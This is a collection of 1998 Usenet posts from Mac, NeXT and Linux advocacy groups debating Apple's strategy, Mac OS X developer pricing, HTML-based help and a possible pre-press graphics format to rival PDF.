Content-Transfer-Encoding: 7bit
Alex Kac wrote:
[cut]
> In any case, I wrote a dictionary.com search resource. Then I wrote a
> QuickKey's script that takes a highlighted word and transfers it to the
> Sherlock app that then searches only from Dictionary.Com via AppleScript.
> I could spend some more time and make more of it AppleScript that would
> then show a window with the different definitions back on the original
> app...
>
> Anyhow, just wanted to let people know that its possible.
If you just want a spell checker you can use the GNU spell command for
1-bit answers, or you can write a simple guessing script. Both use the
400K file on most Linux systems located in /usr/dict/words.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Thu, 03 Sep 1998 15:19:21 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EEF9C9.BF6704A5@ericsson.com>
References: <35ED82AE.7C1B5FE9@ericsson.com> <6skaig$8bv@shelob.afs.com> <35EDB1C8.888174C7@ericsson.com> <slrn6utn7v.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Matt Kennel wrote:
> Not quite "undefined", it's the drawing algorithms of DPS without full
> Kolmogorov universality. I.e. programming of arbitrarily recursive
> postscript programs.
It's not that simple; I think we both know that. For one thing, the
above doesn't begin to address the practical capabilities of this layer,
algorithms aside. I am sure that neither of us has forgotten that the
new "QuickDraw" will not have remotability, unless something rather
fundamental is introduced to change that. Moreover, neither one of us
knows what kind of performance it will have or what resources it will
require. Neither one knows the portability of programs written using
this layer; neither one of us knows what kind of hardware acceleration
will be available. Neither one of us knows what the API will look like.
Neither one of us knows what language bindings Apple will support.
I'm sure I've missed at least a hundred more important questions.
> Even without that, it seems better than every other drawing layer
> except DPS.
Doesn't this seem highly speculatory, given the above? How in the world
can you compare Enhanced QuickDraw to, say, OpenGL, for instance?
> There is some indication that the loss of DPS was not something that
> Apple intentionally pursued, but was forced into that position by the
> recalcitrance of another 5 letter company beginning with 'A'.
They weren't forced into anything. I don't take sides in this issue, but
the fact remains that Apple chose to walk away from DPS licensing
agreements because they insisted on a free runtime. "Three cheers for
Apple!" It was still a voluntary decision.
> :We're talking about the customer release, which of course does not exist
> :and thus cannot be said to run on BSD.
>
> That's a particularly silly statement, sort of like claiming that as
> Redhat Linux 6.0 doesn't (yet) exist, we can't say that it runs on Linux.
Say what? Linux doesn't run on Linux? I'm not sure I quite understand
what you mean.
Red Hat Linux 6.0 hasn't been announced, to my knowledge. There is no
such thing, concept, or otherwise public phenomenon as Red Hat Linux
6.0. MacOS X, on the other hand, is an announced product with announced
features and limitations. As it is relevant to the prior conversation
regarding portability, however, there is nothing to discuss. Let's be
clear on what is meant here.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Thu, 03 Sep 1998 15:35:14 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EEFD82.566D43A6@ericsson.com>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <Eynut8.H0w@T-FCN.Net> <35ED6231.B7655F0B@ericsson.com> <6skt5a$147m1@odie.mcleod.net> <6smh3l$gld@sjx-ixn1.ix.netcom.com> <35EEF63A.A2588CC1@ericsson.com>
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Michael Peck wrote:
> For what it's worth, you might be well-advised to re-read Michelle's
> post. It does insinuate anything like "BSD sucks".
Blech. This should read 'It does *NOT* insinuate anything like "BSD
sucks"'. Apologies.
MJP
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Sun, 6 Sep 1998 09:23:31 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980906092331411103@ts2-34.aug.com>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <joe.ragosta-0509980657340001@elk64.dol.net> <35F277B7.A24FECD6@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
> And the point was that Apple's advantages are not in operating systems
> or in desktop computers. Apple's advantages are in software tools and
> user interface. And yet, both of these advantages are rapidly
> diminishing as they are neglected and the competition gains ground.
> Apple *is* throwing away all of its advantages for the sake of markets
> in which it cannot compete.
>
Apple's interface is being neglected? Nope. I t was made so well the
first time, tha tonly minor tweaking is necessary. W95 is still miles
behind teh Mac in interface ease of use. The main accomplishment in
Winbloze ease of use will be in the adoption of USB, which may FINALLY
match Apple's plug-n-play.
> > Q2 1998 was
> > essentially flat. With the iMac, Q3 1998 is almost surely going to be
> > higher and there's a good chance that Q4 1998 will be higher yet.
>
> Sure, why not? Meanwhile the important issues are being put on the back
> burner.
>
> MJP
.. and what issues would those be? The Pro line is on its way. The
Comsumer Protable is on its way. The iMac is out and breaking sales
records. Costs are down. Productivity is up. Stock price is up, and
preforming well in comparison to the rest of the Nasdaq going down in
flames. OS 8.5 is on its way. OX X is on schedule so far.
Whats on the back burner?
--
Remove nojunk from my email address to reply by email.
From: "Wayne Fellows" <wfellows@*stop_spam*earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 6 Sep 98 08:30:36 +0000
Organization: EarthLink Network, Inc.
Message-ID: <B217F8B1-26B83@153.36.249.142>
References: <no-spam-0509981559360001@10.0.1.99>
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nntp://news.earthlink.net/comp.sys.next.advocacy
On Sat, Sep 5, 1998 8:52 PM, MojiDoji <mailto:no-spam@one.net> wrote:
>I agree, Win95/NT is far more configurable than MacOS. But I think OS/2
>should be placed between Linux and Windows.
You folks don't seem to have much of a concept of Mac customizability. It
blows away any OS except, perhapse, the various flavors of Unix.
From: "Wayne Fellows" <wfellows@*stop_spam*earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 6 Sep 98 08:32:47 +0000
Organization: EarthLink Network, Inc.
Message-ID: <B217F932-289E5@153.36.249.142>
References: <6UuI1.1222$2s.1206519@newsfeed.slurp.net>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.mac.advocacy,
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On Sun, Sep 6, 1998 12:05 PM, Dan <mailto:dan@knowspaam.com> wrote:
>You'd be suprised... much of the source code is avalible from Micorsoft to
>MSDN members.
>Dan
Except the parts ment to give MS an advantage in the applications arena...
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 6 Sep 1998 06:29:09 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6su2uc$5mq$1@birch.prod.itd.earthlink.net>
References: <no-spam-0509981559360001@10.0.1.99> <B217F8B1-26B83@153.36.249.142>
Wayne Fellows wrote in message ...
>On Sat, Sep 5, 1998 8:52 PM, MojiDoji <mailto:no-spam@one.net> wrote:
>>I agree, Win95/NT is far more configurable than MacOS. But I think OS/2
>>should be placed between Linux and Windows.
>
>
>You folks don't seem to have much of a concept of Mac customizability. It
>blows away any OS except, perhapse, the various flavors of Unix.
Oh really? Can you give any examples?
------------------------------
Todd
s124@earthlink.n*et
http://home.earthlink.net/~s124/
--
AOL IM: AAPLisDUMB; eatAPPLnow; iMac Hater.
--
ICQ: 14470496
--
Flames will be cheerfully returned to
sender----3,000,000 times.
-------------------------------
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
MIME-Version: 1.0
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References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu>
<1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu>
<vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net>
<_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com> <rmcassid-3108980020470001@dialin9062.slip.uci.edu>
<640H1.2918$MS.7205576@news.rdc1.sdca.home.com> <rmcassid-0209981548340001@hephaestus.eng.uci.edu>
<_KpH1.3257$MS.7958045@news.rdc1.sdca.home.com> <rmcassid-0309980900260001@hephaestus.eng.uci.edu>
<4cFH1.3290$MS.8381438@news.rdc1.sdca.home.com> <rmcassid-0409980950420001@hephaestus.eng.uci.edu>
Message-ID: <syYH1.3532$MS.8922938@news.rdc1.sdca.home.com>
Date: Fri, 04 Sep 1998 21:01:12 GMT
NNTP-Posting-Date: Fri, 04 Sep 1998 14:01:12 PDT
Organization: @Home Network
In <rmcassid-0409980950420001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <4cFH1.3290$MS.8381438@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >We've come full circle, now. Exposed is the myth that industry wants
Open
> >Soutions. Revealed is the reality that its the Platform Stupid. To wit:
> >Microsoft continues to dominate irregardless...
> >
> >Excellent points which flush this thread to its conclusion... what does
> >at mean? Microsoft Windows is "natural law" in the universe of desktop
> >tems. Unless you've got an argument for maintaining a Mac publishing
system
> > AND a Windows office computer.
>
> Very valid point.
>
> Upsetting MS will require something significant and measurable by Apple.
> Catastrophic blunders on the parts of Intel and MS would help immensely.
> :-)
>
>
This stuff is as entrenched as the telephone. In the early 90's I remember
the Bell companies (I think) analysis that unless a new technology is _at
least_ a 10X improvement over existing products, there is no effect upon
marketshare.
I am a die-hard NeXT advocate. I am using Windows. I like it... It has
software I can use. My digital camera downloads to Windows. My PDA
downloads to Windows. My databases synchonize with Windows. Windows
travels easily with the suite of apps out there. I can send my daughter to
College on Windows. She can get a job after with Windows. This shitty OS
works with all kinds of gadgets that are important in our lives. Almost
anything we want or need to exchange with the real world, the Windows
machine will work. I hate the process... I don't like Windows but I like
those other gadgets and tools...
The NeXT is a server machine and development environment. The Mac? I won't
even go there since I gave up on Mac's ~ 1988. I haven't seen anything to
bring me back to the OS. I have seen no strategy from Apple to change this
situation other than recent 1984 feel good advertising - chest thumping
about performance.
Apple buying Adobe? I don't know if they have the leadership on the
corporate level to see the Third Party Vendor playing field. They are still
building "ballparks", metaphorically...
-r
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sun, 06 Sep 1998 11:51:19 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0609981151200001@jchristie.halifaxcable.dal.ca>
References: <*johnnyc*-0509981018140001@jchristie.halifaxcable.dal.ca> <B21760D8-A78A@206.165.43.97> <6st7qq$psk7@odie.mcleod.net>
In article <6st7qq$psk7@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
> However, even if Apple charged $500 for the development tools, they would be
> successful. That would be an excellent price in my point of view. Dev
> Studio costs $500. Watcom cost $500. I bet even Metrowerks cost $500. The
But, Apple needs to get *new* programmers because porting to YB will be
a less exciting job than writing from scratch. In that case they should
really have about a $100 student distribution.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: kms@norfolk-county.com (K. Sebring)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 06 Sep 1998 11:37:54 -0400
Organization: I say screw it!
Message-ID: <kms-0609981137550001@dialinuser190.norfolk-county.com>
References: <no-spam-0509981559360001@10.0.1.99> <B217F8B1-26B83@153.36.249.142> <6su2uc$5mq$1@birch.prod.itd.earthlink.net>
In article <6su2uc$5mq$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
>Wayne Fellows wrote in message ...
>>On Sat, Sep 5, 1998 8:52 PM, MojiDoji <mailto:no-spam@one.net> wrote:
>>>I agree, Win95/NT is far more configurable than MacOS. But I think OS/2
>>>should be placed between Linux and Windows.
>>
>>
>>You folks don't seem to have much of a concept of Mac customizability. It
>>blows away any OS except, perhapse, the various flavors of Unix.
>
>
>Oh really? Can you give any examples?
Tell me one thing that you can customize in WIndows. I'll tell you I can
do it with the MacOS.
Not to mention:
Kaleidoscope. I can change *every little thing* about the appearance of
the OS. If you don't believe me, i'll send you a screenshot that is an
almost exact replica of Windows 95.
AppleScript. I can automate practically *anything* I want to. That's
customizability.
Various other 3rd party extensions and control panels. Go do a search for
Mac shareware. You'll find alot.
Just take a look at the included control panels with the MacOS. Unlike
Windows, which uses Control Panels for entering wads and wads of
configuration strings, you can actually do things with CDEV's.
There's also ALOT of things about the Finder that can be customized. If
you REALLY want to hear them, email me. I'll find time.
Hell, you want custom, straight out? I'll send you a screenshot of my desktop.
>
>------------------------------
>Todd
>s124@earthlink.n*et
>http://home.earthlink.net/~s124/
>--
>AOL IM: AAPLisDUMB; eatAPPLnow; iMac Hater.
>--
>ICQ: 14470496
>--
>Flames will be cheerfully returned to
>sender----3,000,000 times.
>-------------------------------
--
-----------------------
kms@norfolk-county.com
kmsmac on AIM
ICQ #9251405
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 3 Sep 1998 21:37:30 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6sn26q$i33@news1.panix.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com>
On Thu, 03 Sep 1998 15:28:02 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Matt Kennel wrote:
>> "they say" that Apple must choose between hardware and software. Why?
>Because its position dictates it.
Apple's strength is it's ability to use custom hardware to add value to
it software, and custom software to add value to its hardware. It has
ignored this potential for the past decade, and Apple is now rediscovering
it.
This is no different from SGI building hardware to showcase OpenGL, or
Sun building hardware to better showcase Solaris.
>> In your mind, is Sun's focus "hardware" or "software"??
>SMCC is a hardware platform company. SunSoft, Inc. is a software
>company.
And Apple has separate hardware, OS Software and tool groups. Why
is the Sun or SGI setup different?
>Apple has...what? A diminishing line of consumer machines and
Not true, the iMac is selling very well and Apple's share of sales
has grown for the past two quarters.
>operating system of diminishing importance. They *also* have a new
>acquisition with the potential to drive their technology to great
>heights and a name brand that could be leveraged to build
>industry-standard products.
You can also say the same for Sun and SGI. (Java and OpenGL) Why doesn't
anyone expect them to pick only hardware or only software?
>Careful observers may note that these assets lie almost exclusively in
>the software domain.
Careful observers once claimed that the only thing holding NeXT back
was it's hardware business. Careful observers once thought the world
was flat.
>> If you go hardware only, you end up being a replacable and boring vassal
>> of Microsoft.
>Huh? Suppose I sell consumer stereo systems. Have I become a replacable
>and boring vassal of musicians and talk radio hosts?
If there was one Music publisher that controlled 90%+ of all music sold, yes.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 6 Sep 98 09:58:39 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2180D52-106D4@206.165.43.134>
References: <6st7qq$psk7@odie.mcleod.net>
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Michelle L. Buck <buck.erik@mcleod.net> said:
>Lawson English wrote in message ...
>>$500???
>>
>>Is that a solid figure or are you just guessing?
>>
>>If it is solid, how can Apple expect anyone to take them seriously about
>>using YB to do ANY applications programming?
>>
>>
>$500 is the cost of the developer program subscription that provides
>access
>to pre-release software.
OK, I had misunderstood the statement. I thought that the $500 was the
[projected] cost of MacOS X Server, not the 2nd tier Developer program.
I've nothing against the $500 for the program, although I think that Apple
should look at ways to seed shareware/freeware developers with the latest
OS for much less money (we would never see a new Disinfectant or StuffIt
utility coming from a kid if the authors of these lowcost/free utilities
had to pay $500 up front. I know that the author of Disinfectant is
elligible for an educational discount, but the author of Stuffit was a
16-year-old and there's no provision for a HS educational discount that I'm
aware of).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 6 Sep 98 10:00:07 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2180DAB-11B9A@206.165.43.134>
References: <*johnnyc*-0609981148480001@jchristie.halifaxcable.dal.ca>
Mime-Version: 1.0
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John Christie <*johnnyc*@or.psychology.dal.ca> said:
>In article <joe.ragosta-0609980735250001@elk72.dol.net>,
>joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>> IIRC, $500 is the minimum paid developer level. You get all the CDs and
>tools.
>>
>> However, you can download all the information for free. So there's no
>$500
>> minimum.
>
> YB is not part of the downloadable components. You need to be a $500
>level developer to get any useable Rhapsody stuff.
I had misunderstood anyway. I thought he was talking about the price of the
soon-to-be-released MacOS X Server.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 6 Sep 98 11:20:11 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B218206E-5842E@206.165.43.134>
References: <heaney-0509981648590001@24.0.246.137>
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John Heaney <heaney@SolidObject.com> said:
>
>I would prefer holding down the Control key while clicking on an iconic or
>textual representation of "command" and have that bring up a hyper linked
>system of navigating through all the related documentation. And then when
>I want to execute the command, I want the computer to lead me through all
>the steps, circling all the places I have to click with big red virtual
>ink. Lo and behold that's what I get with the Mac OS GUI.
But will it survive the transition to HTML-based help that MacOS 8.5
brings?
I wonder if this change was due to human usability testing or merely due to
the fact that former NeXT engineers now in charge at Apple are coming from
a UNIX-based world and are more comfortable dealing with text-based help?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: New help in MacOS 8.5 and X (was Re: Heidi on Heidi (Was...
Date: 6 Sep 98 11:25:10 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2182199-5CA62@206.165.43.134>
References: <slrn6v39uj.4u0.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
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Jason S. <jason@jhste1.dyn.ml.org> said:
>
>The fact that it takes 10X as long to point and click your way through
>simple things versus a CLI/text file interface doesn't bother you? If
>the interface is so bizarre that I need the machine to circle things
>with a virtual red marker so that I can figure out how to do anything,
>I'm not sure that I want that I want to use it.
Have you ever trained an new iMac user to use the computer. I haven't yet,
but I've trained hundreds of newbie oldMac users and a lot of them are so
afraid of the computer that even with the big red circle, they are afraid
to do what the help-screen says without some hand-holding at first.
I'm *quite* concerned that the transition to HTML-based help is motivated,
not by testing of newbies on how well they work with HTML-based hypertext
compared to red circles around buttons, but by the preference of the
current Apple management, who haven't worked on producing a computer
suitable for my 82-year-old mother to use since NeXT was founded.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sun, 6 Sep 1998 11:21:29 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6suk5g$l0j$1@nnrp1.snfc21.pbi.net>
References: <*johnnyc*-0509981018140001@jchristie.halifaxcable.dal.ca> <B21760D8-A78A@206.165.43.97> <joe.ragosta-0609980735250001@elk72.dol.net>
Joe Ragosta wrote in message ...
>However, you can download all the information for free. So there's no $500
>minimum.
Not with respect to Rhapsody. That only comes with the Apple
Developer Connection Seeding program, and you qualify for that
only if you have paid support, and have signed your life away
through an NDA.
- Bill Woody
The PandaWave
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 6 Sep 98 11:14:17 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2182238-5EFDA@206.165.43.134>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Cc: "Warner Onstine" <raestarr@hotmail.com>, "GX-Talk" <gx-talk@aimed.org>,
"AIMED-Talk" <aimed-talk@aimed.org>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said: said:
[comp.sys.mac.programmer.misc included for obvious reasons -I think]
[discussion of graphics object-flattening in YB snipt]
Lawson English <english@primenet.com> said:
>
>> And there's a standard way of flattening and retrieving shape-objects
for
>> further editing during the pre-press process other than editing
text-based
>> PDF files?
>
> Yes, that's what I said (like working with a text file is a bad thing.
Hey
>Lawson, this is Unix! Duh!). In our case we use the nicer (if I do say
so
>myself) OAPropertyListCoder. Here, here's some (clipped) contents of a
>document I just made...
>
> Object1 = {
> canvas = _root;
> fill = Object8;
> frameRect = "{x = 112; y = 113.25; width = 90; height = 50}";
> isHorizontallyFlipped = NO;
> isVerticallyFlipped = NO;
> isLabeled = NO;
> isOutlined = YES;
> isShadowed = YES;
> naturalSize = "{width = 0; height = 0}";
> rotation = 0.000000;
> scale = "{width = 0; height = 0}";
> stroke = Object2;
> tag = "";
> url = "";
> userInfo = nil;
> };
>
> In case you're confused, "tag" is the name of the shape, and "canvas" is
>the view that currently owns it. You can edit that with HyperCard and not
>even need an XCMD. In fact, you can AppleScript it, perl it, do whatever
you
>want to it. It's a text file.
As I pointed out in my previous response, having a well-defined binary file
graphics format would be nicer for automated pre-press than the above
text-based one. Is there a binary representation that OAPropertyListCoder
can produce that can be parsed using a standardized drawing app?
The need for this should become VERY obvious when one is dealing with
blocks of text or bitmaps. Try writing a routine to extract/manipulate a
bit of text, including all style-info, from a text-based format such as
standard PDF or the text-format you give above. Less easy to do. Now
extract/manipulate a portion of a bitmap. Even less easy to do.
I'm told that PDF has a binary format (the PDF 2.0 manual that I have from
Adobe doesn't mention it that I could find, but things change). However,
unless things have changed drastically since that manual was written, PDF
doesn't have a nested tree structure for its objects which means that you
lose the logical sub-grouping of an image that the original content-creator
imposed on the image using the average drawing app. There's no trivial way
of grouping sub-images in PDF (or if there is, I missed it). A given image
is like a single-layer tree. That means that you can't rotate/skew/etc
(letalone add perspective) to logically-grouped elements of an image, nor
apply color filters or other on-the-fly manipulations of the image during
the pre-press process without a human being present to provide the missing
intelligence about what the original image's logical grouping was.
If the OAPropertyListCoder provides a standardized binary format, then
we're almost done. All that needs to be done is to provide a standardized,
multi-layer tree structure that an application can save images to so that
OTHER applications (not just the same one on a different machine) can
extract the original image and manipulate it. Of course, graphical elements
that don't fit the standardized format need to be converted to the
standardized format without loss (if possible) of the original image so
that even if one can't edit an element intellegently, one can still keep it
intact. A "PDF object" that describes the non-standard element in terms of
the standard "ehanced QuickDraw" primitives would be appropriate here, I
think. If PDF-using applications can display EPS files, an EPS object type
would be useful,
also.(*)
Other issues would be *which* nesting scheme and object-sharing scheme
makes the most sense. GX encapsulates print-oriented graphical info in 4
main objects: shape, transform, style and ink.
"shape" encapsulates the geometry of a vector object, pixel data for a
bitmap, character data for a text object, and a font's glyph-indexes for a
glyph shape, as well as things like frame_fill/open_fill/etc type.
"transform" encapsulates the clip-shape, transform matrix and viewport list
(one or more nested viewports).
"Style" encapsulates object-specific stylistic info appropriate for
vectors/bitmaps/text.
Shape objects can share instances of the other 3 objects. Picture shape
objects can nest within each other collections of other objects, including
picture shapes. Individual shapes can be used multiple times within a
picture shape and each instance of the same shape can have a different
style/transform/ink object.
[(*)Note that I am not talking about imposing a pre-defined structure on
the internal representation of a graphic app's image, but about the best
way to *export* this image for pre-press manipulation so that the most
information about this image can be retained without requiring that a copy
of the original app be present]
Does this hierarchy of shapes make the most sense for a pre-press format?
Are other strategies better? Could alternate strategies for encapsulating
graphical info be devised and standardized? The best possibility would be
to figure out how to allow the individual application to *describe* the
encapsulization strategy in such a way that automated pre-press
editing-apps/utilities could work with it automatically, or with minimal
human intevention.
I am *totally* dis-satisfied with Apple's stated goal of making PDF the
standard graphics-sharing/pre-press format. That should be an export option
and the format used to pass images between YB and Carbon apps if they don't
use a retained mode library (predefined shapes & co. ala GX), but NOT the
format used to share images between YB apps or the format used for
pre-press on machines that have YB installed
Given the example of how useful GX is in pre-press, Apple developers and
end-users deserve something better. Of course, when all is said and done,
the final output of YB-specific pre-press would still be PDF or EPS or PS
files, but that shouldn't prevent us from coming up with something better
than PDF for internal use.
And I honestly don't think that Apple will do it for us. GX is a failed
strategy in the eyes of Apple management and I suspect that they don't want
to step on Adobe's toes by officially blessing yet another PDF-rival, so
MacOS X developers will have to come up with a workable strategy on our
own, without blessing or assistance from Apple.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: New help in MacOS 8.5 and X (was Re: Heidi on Heidi (Was...
Date: Sun, 06 Sep 1998 13:51:28 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-0609981351280001@castle.webis.net>
References: <slrn6v39uj.4u0.jason@jhste1.dyn.ml.org> <B2182199-5CA62@206.165.43.134>
NNTP-Posting-Date: 6 Sep 1998 18:51:28 GMT
In article <B2182199-5CA62@206.165.43.134>, "Lawson English"
<english@primenet.com> wrote:
: Jason S. <jason@jhste1.dyn.ml.org> said:
:
: >
: >The fact that it takes 10X as long to point and click your way through
: >simple things versus a CLI/text file interface doesn't bother you? If
: >the interface is so bizarre that I need the machine to circle things
: >with a virtual red marker so that I can figure out how to do anything,
: >I'm not sure that I want that I want to use it.
:
: Have you ever trained an new iMac user to use the computer. I haven't yet,
: but I've trained hundreds of newbie oldMac users and a lot of them are so
: afraid of the computer that even with the big red circle, they are afraid
: to do what the help-screen says without some hand-holding at first.
:
: I'm *quite* concerned that the transition to HTML-based help is motivated,
: not by testing of newbies on how well they work with HTML-based hypertext
: compared to red circles around buttons, but by the preference of the
: current Apple management, who haven't worked on producing a computer
: suitable for my 82-year-old mother to use since NeXT was founded.
Sorry, I think that the HTML help is MUCH better than AppleGuide. All the
newbies I ever trained or helped stayed as far away from AppleGuide as
possible. It was confusing, slow, and didn't help ANY.
The HTML based help, on the other hand, is searchable with V-TWIN, large
format, fast, and is really easy to use. Plus its integrated with
AppleGuide so you still get those coachmarks where its applicable.
I've had a few people use that HTML help and get a few things done without
my help - which NEVER happened with Appleguide alone.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
